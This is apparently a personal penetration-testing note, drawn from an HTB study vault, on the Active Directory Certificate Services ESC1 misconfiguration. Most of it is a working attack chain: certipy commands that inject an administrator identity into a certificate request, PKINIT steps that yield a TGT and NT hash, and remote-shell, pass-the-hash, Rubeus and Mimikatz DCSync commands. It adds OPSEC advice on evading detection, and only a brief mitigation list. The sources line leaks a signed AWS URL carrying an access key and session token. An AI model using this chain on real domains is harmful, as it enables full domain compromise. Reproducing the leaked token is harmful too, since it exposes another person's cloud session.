esc1-san-specification-in-template.md (14403B)
1 --- 2 title: "ESC1 — SAN Specification in Template" 3 description: "ESC1 is the most commonly encountered and most directly exploitable ADCS misconfiguration. The vulnerability exists at the certificate template level —…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "privilege-escalation", "hashing"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC1 — SAN Specification in Template.md" 11 --- 12 # ESC1 — SAN Specification in Template 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Certificate Template Misconfiguration | 19 | **Difficulty** | Low | 20 | **Pre-requisites** | Low-priv domain creds + vulnerable template | 21 | **Tools** | Certipy, Certify.exe, Rubeus | 22 | **OPSEC Noise** | Low — only CA event logs (4886/4887) | 23 | **One-liner** | Inject Administrator UPN into the SAN field of a CSR via a template with `ENROLLEE_SUPPLIES_SUBJECT` enabled — CA signs it, you authenticate as that user. | 24 25 *** 26 27 ## What Is ESC1? 28 29 ESC1 is the most commonly encountered and most directly exploitable ADCS misconfiguration. The vulnerability exists at the **certificate template level** — specifically when a template allows the person requesting the certificate to freely specify a **Subject Alternative Name (SAN)** inside their Certificate Signing Request (CSR). A SAN is an extension in an X.509 certificate that binds an identity (e.g., a UPN like `administrator@domain.htb`) to the certificate. When the CA issues a certificate containing a SAN, Windows trusts that identity for authentication — it doesn't matter who actually requested the cert. 30 31 The core danger: **you enroll as a low-privileged user but embed Administrator (or any domain account) into the SAN field. The CA signs it. You then authenticate as that user.** No password needed, no hash needed — the certificate *is* the identity. 32 33 *** 34 35 ## ESC1 — The Six Required Conditions 36 37 All six must be true simultaneously for this to be exploitable: 38 39 | # | Condition | What to Check in Certipy Output | 40 |---|-----------|--------------------------------| 41 | 1 | Low-privileged users have **enrollment rights** | `Enrollment Rights: DOMAIN\Domain Users` | 42 | 2 | **Manager approval is off** | `Requires Manager Approval: False` | 43 | 3 | **No authorized signatures required** | `Authorized Signatures Required: 0` | 44 | 4 | Template security descriptor is **overly permissive** | Low-priv group in `Enrollment Rights` | 45 | 5 | Template has an **authentication EKU** | `Client Authentication: True` or `Smart Card Logon`, `PKINIT`, `Any Purpose`, or no EKU | 46 | 6 | **Enrollee Supplies Subject** is enabled | `Enrollee Supplies Subject: True` / `Certificate Name Flag: EnrolleeSuppliesSubject` | 47 48 *** 49 50 ## Understanding the Key Flag: `ENROLLEE_SUPPLIES_SUBJECT` 51 52 This is the flag that makes ESC1 possible. It corresponds to the AD attribute `msPKI-Certificate-Name-Flag` with value `0x00000001`. When this is set, the CA does **not** build the subject name from Active Directory — it trusts whatever the requester submits. Microsoft's intent was for this to support non-AD scenarios (e.g., web server certificates). The misconfiguration is when this is combined with a template that also supports domain authentication EKUs . 53 54 *** 55 56 ## Step 0 — Initial Enumeration 57 58 Before attacking, always enumerate first. This tells you CA names, template names, and which templates are vulnerable. 59 60 ```bash 61 # Full enumeration, filter only vulnerable, print to stdout 62 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 63 -dc-ip $TARGET -vulnerable -stdout 64 65 # If you only have a hash (Pass-the-Hash) 66 certipy-ad find -u 'lowpriv@domain.htb' \ 67 -hashes :NTHASH \ 68 -dc-ip $TARGET -vulnerable -stdout 69 ``` 70 71 ### What a Vulnerable ESC1 Template Looks Like 72 ``` 73 Certificate Templates 74 Template Name : VulnTemplate 75 Enabled : True 76 Client Authentication : True ← Auth EKU ✓ 77 Enrollment Agent : False 78 Any Purpose : False 79 Enrollee Supplies Subject : True ← THE key flag ✓ 80 Certificate Name Flag : EnrolleeSuppliesSubject 81 Requires Manager Approval : False ← No approval ✓ 82 Authorized Signatures Required : 0 ← No sig req ✓ 83 Permissions 84 Enrollment Rights : DOMAIN\Domain Users ← Low-priv enroll ✓ 85 [!] Vulnerabilities 86 ESC1 : 'DOMAIN\Domain Users' can enroll, enrollee supplies subject 87 and template allows client authentication 88 ``` 89 90 *** 91 92 ## Step 1 — Request the Certificate with Injected SAN 93 94 The `-upn` flag is what injects the alternative identity into the SAN field of the CSR. You are requesting with your low-priv credentials, but embedding `Administrator` as the identity. 95 96 ```bash 97 # Using password 98 certipy-ad req \ 99 -u 'lowpriv@domain.htb' \ 100 -p 'Password123!' \ 101 -dc-ip $TARGET \ 102 -ca 'DOMAIN-CA-NAME' \ 103 -template 'VulnerableTemplateName' \ 104 -upn 'administrator@domain.htb' 105 106 # Using hash 107 certipy-ad req \ 108 -u 'lowpriv@domain.htb' \ 109 -hashes :NTHASH \ 110 -dc-ip $TARGET \ 111 -ca 'DOMAIN-CA-NAME' \ 112 -template 'VulnerableTemplateName' \ 113 -upn 'administrator@domain.htb' 114 ``` 115 116 **Expected output:** 117 ``` 118 [*] Requesting certificate via RPC 119 [*] Request ID is 58 120 [*] Successfully requested certificate 121 [*] Got certificate with UPN 'administrator@domain.htb' 122 [*] Certificate has no object SID 123 [*] Saving certificate and private key to 'administrator.pfx' 124 ``` 125 126 > ⚠️ **`Certificate has no object SID`** — This is normal for ESC1. It means the cert was issued without an objectSID extension, so Windows falls back to UPN-based mapping. This is fine for older/default configurations. On patched systems (KB5014754 enforced), this *may* fail — but in most HTB/real-world scenarios you will still succeed. 127 128 > ⚠️ **`The NETBIOS connection with the remote host timed out`** — This is a common transient RPC error. Simply re-run the command without `-dc-host`. Remove that flag if you added it, as shown in your Fluffy terminal output. 129 130 *** 131 132 ## Step 2 — Authenticate and Get TGT + NT Hash 133 134 ```bash 135 certipy-ad auth \ 136 -pfx administrator.pfx \ 137 -username administrator \ 138 -domain domain.htb \ 139 -dc-ip $TARGET 140 ``` 141 142 **Expected output:** 143 ``` 144 [*] Certificate identities: 145 [*] SAN UPN: 'administrator@domain.htb' 146 [*] Using principal: 'administrator@domain.htb' 147 [*] Trying to get TGT... 148 [*] Got TGT 149 [*] Saving credential cache to 'administrator.ccache' 150 [*] Trying to retrieve NT hash for 'administrator' 151 [*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e 152 ``` 153 154 Certipy uses **PKINIT** (Public Key Cryptography for Initial Authentication) to trade the certificate for a Kerberos TGT, and then uses **U2U (User-to-User)** Kerberos to extract the NT hash from the TGT. You now have both a TGT and the NTLM hash. 155 156 *** 157 158 ## Step 3 — Use the TGT or Hash to Get a Shell 159 160 **Option A — Kerberos TGT (recommended, opsec-safe):** 161 ```bash 162 export KRB5CCNAME=administrator.ccache 163 164 # WMIexec 165 wmiexec.py -k -no-pass DC01.domain.htb 166 167 # Evil-WinRM with Kerberos 168 evil-winrm -i DC01.domain.htb -r domain.htb 169 170 # SMBexec 171 smbexec.py -k -no-pass DC01.domain.htb 172 173 # PSExec 174 psexec.py -k -no-pass DC01.domain.htb 175 ``` 176 177 > 💡 **DNS resolution is required for Kerberos.** Add the DC to `/etc/hosts`: `echo "$TARGET DC01.domain.htb domain.htb" >> /etc/hosts` 178 179 **Option B — Pass-the-Hash (NT hash):** 180 ```bash 181 # Evil-WinRM with hash 182 evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e 183 184 # Impacket 185 wmiexec.py administrator@$TARGET -hashes :8da83a3fa618b6e3a00e93f676c92a6e 186 psexec.py administrator@$TARGET -hashes :8da83a3fa618b6e3a00e93f676c92a6e 187 ``` 188 189 *** 190 191 ## Windows Attack Path (Certify.exe + Rubeus) 192 193 If you're already on a Windows foothold: 194 195 ```powershell 196 # Step 1: Request cert with alt SAN 197 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator 198 199 # Step 2: Copy cert.pem output, save it, convert with OpenSSL 200 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 201 # Leave password blank when prompted 202 203 # Step 3: Request TGT + dump NT hash with Rubeus 204 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap 205 206 # Step 4: Create sacrificial session and inject ticket 207 .\Rubeus.exe createnetonly /program:powershell.exe /show 208 .\Rubeus.exe ptt /ticket:<base64ticket> 209 210 # Step 5: DCSync from injected session 211 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' 212 ``` 213 214 *** 215 216 ## Real-World Example — Your Fluffy HTB Machine 217 218 This is **exactly ESC16** on Fluffy, not ESC1 — but the exploitation chain you used is ESC16's UPN swap technique which *mimics* ESC1's outcome. Notice in your terminal: 219 220 ```bash 221 # You swapped ca_svc's UPN to 'administrator' 222 certipy-ad account -u winrm_svc@fluffy.htb -hashes ... \ 223 -user ca_svc -upn administrator update 224 225 # Requested cert via the User template (no ESC1 template needed — ESC16 bypasses it) 226 certipy-ad req -u ca_svc -hashes ... -ca fluffy-DC01-CA -template User 227 228 # Got cert with UPN 'administrator' — same end result as ESC1 229 [*] Got certificate with UPN 'administrator' 230 [*] Saving certificate and private key to 'administrator.pfx' 231 ``` 232 233 In a **pure ESC1**, you would not need to manipulate any account's UPN first — you'd inject the UPN directly via `-upn` in the `certipy-ad req` command. ESC16 is covered later in the series. 234 235 *** 236 237 ## ESC1 Indicators Summary 238 239 | Indicator | Vulnerable Value | 240 |-----------|-----------------| 241 | `msPKI-Certificate-Name-Flag` | `ENROLLEE_SUPPLIES_SUBJECT` (0x1) | 242 | `msPKI-EnrollmentFlag` | Does NOT contain `PEND_ALL_REQUESTS` (0x2) | 243 | `msPKI-RA-Signature` | `0` | 244 | `pKIExtendedKeyUsage` | Contains `1.3.6.1.5.5.7.3.2` (Client Auth) or similar | 245 | Enrollment ACL | Includes low-priv groups (`Domain Users`, `Authenticated Users`) | 246 247 *** 248 249 ## KB5014754 — Strong Certificate Binding Enforcement 250 251 Microsoft's May 2022 patch (KB5014754) introduced the `szOID_NTDS_CA_SECURITY_EXT` SID extension into certificates. This can affect ESC1 exploitation on patched systems: 252 253 | `StrongCertificateBindingEnforcement` Value | ESC1 Impact | 254 |---|---| 255 | `0` — Disabled | ✅ ESC1 works normally | 256 | `1` — Compatibility mode (default post-patch) | ⚠️ ESC1 still works but generates audit events | 257 | `2` — Full enforcement | ❌ ESC1 blocked — KDC validates objectSID in cert | 258 259 ```bash 260 # Check enforcement level on DC 261 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ 262 -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement' 263 ``` 264 265 > 💡 Most environments are still on compatibility mode (`1`) — ESC1 still works. Full enforcement (`2`) is rare because it breaks environments with legacy certs that lack the SID extension. 266 267 *** 268 269 ## OPSEC Considerations 270 271 | Action | Log Generated | Noise Level | 272 |--------|--------------|-------------| 273 | Certipy enumeration (`find`) | LDAP queries | 🟢 Low | 274 | Certificate request (`req`) | Event ID 4886 (request), 4887 (issued) on CA | 🟢 Low | 275 | PKINIT authentication (`auth`) | Event ID 4768 (TGT request) on DC | 🟢 Low | 276 | Pass-the-Hash after auth | Event ID 4624 Type 3/9 | 🟡 Medium | 277 278 > 💡 ESC1 is the **quietest** ADCS attack — no AD object modifications, no template changes, no relay traffic. The only logs are on the CA (cert request) and DC (Kerberos auth). If you use the TGT path instead of PtH, it's even quieter. 279 280 *** 281 282 ## Additional Tool Support 283 284 ```bash 285 # Metasploit module 286 use auxiliary/admin/dcerpc/icpr_cert 287 set RHOSTS <CA-IP> 288 set USERNAME lowpriv 289 set PASSWORD Password123! 290 set DOMAIN domain.htb 291 set CA DOMAIN-CA-NAME 292 set CERT_TEMPLATE VulnTemplate 293 set ALT_UPN administrator@domain.htb 294 run 295 ``` 296 297 *** 298 299 ## Mitigation 300 301 - **Disable** `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` on any template that has authentication EKUs 302 - **Restrict enrollment rights** — remove `Domain Users` / `Authenticated Users`; grant only specific service accounts 303 - **Enable Manager Approval** on any template where SAN specification is business-required 304 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs after re-issuing certificates with SID extensions 305 - **Monitor** certificate requests where the SAN differs from the requester's identity (Event ID 4886/4887 on the CA) 306 307 Sources 308 redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf?AWSAccessKeyId=ASIA2F3EMEYE2RB7VN3N&Signature=6uwSMMzenwFOZlbo1P4KVYOKVio%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEMb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIQCDVU42sVlwQOfJERjsghflP45l3bVzzfRHElUL2965EgIgJ3%2Bdir2PwWMNTEVZ%2F7kmsFOsIPkzJJc0fig%2BsKzqVtsq%2FAQIjv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARABGgw2OTk3NTMzMDk3MDUiDLdQ6H8jp5zqDUG2zCrQBEUINgutUEVlTAtTqHdLzM1xiQIkB49UmP9AKI2%2FqkDL9ZYqkeHJIc0EP5SolM5Oo0L0R78Ky2dalTRl8zeJkt3x5DLocVtRl4wvSWxIxobyQCnQFwepMKq5pB8x0I9kJAZJgix05zBhSPUvNoSgcKxwq6p9tDc1HwNp0fGSf71%2B1xY7PYYACGQx%2FjpLbQNOMtrxIVkhbGDivWkG%2FE4RjOqYyvfMhSwN9RalfqlLuEfkRPmtwTwOlO2Z%2ByLWBMSeC5KE5M7CxTbW4w6kpbYz675BpTTvc%2Be%2Bj6SMC7jqIVTOvRhUzX1BE89eGl9fPkXZ%2F7RP%2BRvCySdjvGkN9Y%2BTZaYhs1dy0iljxfv35aYkTvmnVYE1YeEJy4U4yrWrtGEYuFr6PHvsGhq1BtSCxcZTqfdh%2BLTXNV%2BSaY3BV9F3dMp7TObOlMq5GCw31QzerzTt5SnRfC5Oy6xosBYGYSsD99hbsaAoM4wldLmvZPaU%2FQ9OYeUA2WnJ8YfomIk8oVa8zlNpTbcZiHwzruy4SU5qRnhLELCCFWNMMEpuKKRI0AsvWW50Ak9EbxwNjSsdFqFcKTFCdg2IYHWyTlqT%2B5gQBt%2BV63Q6%2B4fpZH2C6MQdI2OvNETFfJNaYPNFBKy4rpI%2F2ylRGww1%2B5iDVZeWZsC1%2F3zbidiWSGIOBGTUu2U%2BCn5ns7R0MC5mPpwqRSzCf14dWr5%2Fsfa8tws2%2FDUJKnQHHzMofecx%2BppjH8sXnLEl99qn9vmSsqcl50mnLI9ozZvZdd3nPhYPzEc1HpEk88a05ccwhdzAzgY6mAFv8g24saOF0u0nO6CvmEYWmNTBQUXADi20mRyrLMvH0fvzdutXTI5EWJKb3fe2QqOsl0ded9IQomVlCwPOjiSaGxdtA3iKxcJuGEMkxIDQtawntSKVlncFbwbEgiBMqiM9PuUckG58dIbgVcli9iHL3YFjyowff1MQ6zphRVvAdWKEspZ%2Bcne%2BUIf315efSksTiUze3N0DDQ%3D%3D&Expires=1775253889 309 Screenshot-Perplexity-2026-04-03-at-18.54.05_Friday-2x.jpeg https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/14624338/bd5f25d5-7087-4cad-9068-50e9f63534f3/Screenshot-Perplexity-2026-04-03-at-18.54.05_Friday-2x.jpeg